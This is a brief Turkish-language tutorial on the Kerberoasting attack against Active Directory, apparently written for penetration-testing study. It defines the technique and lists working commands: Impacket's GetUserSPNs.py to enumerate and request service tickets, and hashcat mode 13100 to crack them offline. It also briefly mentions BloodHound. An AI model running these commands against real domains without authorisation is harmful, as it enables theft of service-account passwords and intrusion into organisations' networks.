// Active Directory Saldırı Vektörleri: Kerberoasting

## Kerberoasting Nedir?

Kerberoasting, Active Directory ortamında SPN (Service Principal Name) kayıtlı servis hesaplarının Kerberos biletlerini ele geçirerek offline kırma saldırısıdır.

## Saldırı Adımları

# Impacket ile SPN listesi
GetUserSPNs.py domain/user:pass -dc-ip 10.10.10.1

# Bilet al
GetUserSPNs.py domain/user:pass -dc-ip 10.10.10.1 -request

# Hashcat ile kır
hashcat -m 13100 hash.txt wordlist.txt

## BloodHound Analizi

BloodHound, AD ortamındaki saldırı yollarını görselleştirir ve Kerberoastable hesapları kolayca tespit eder.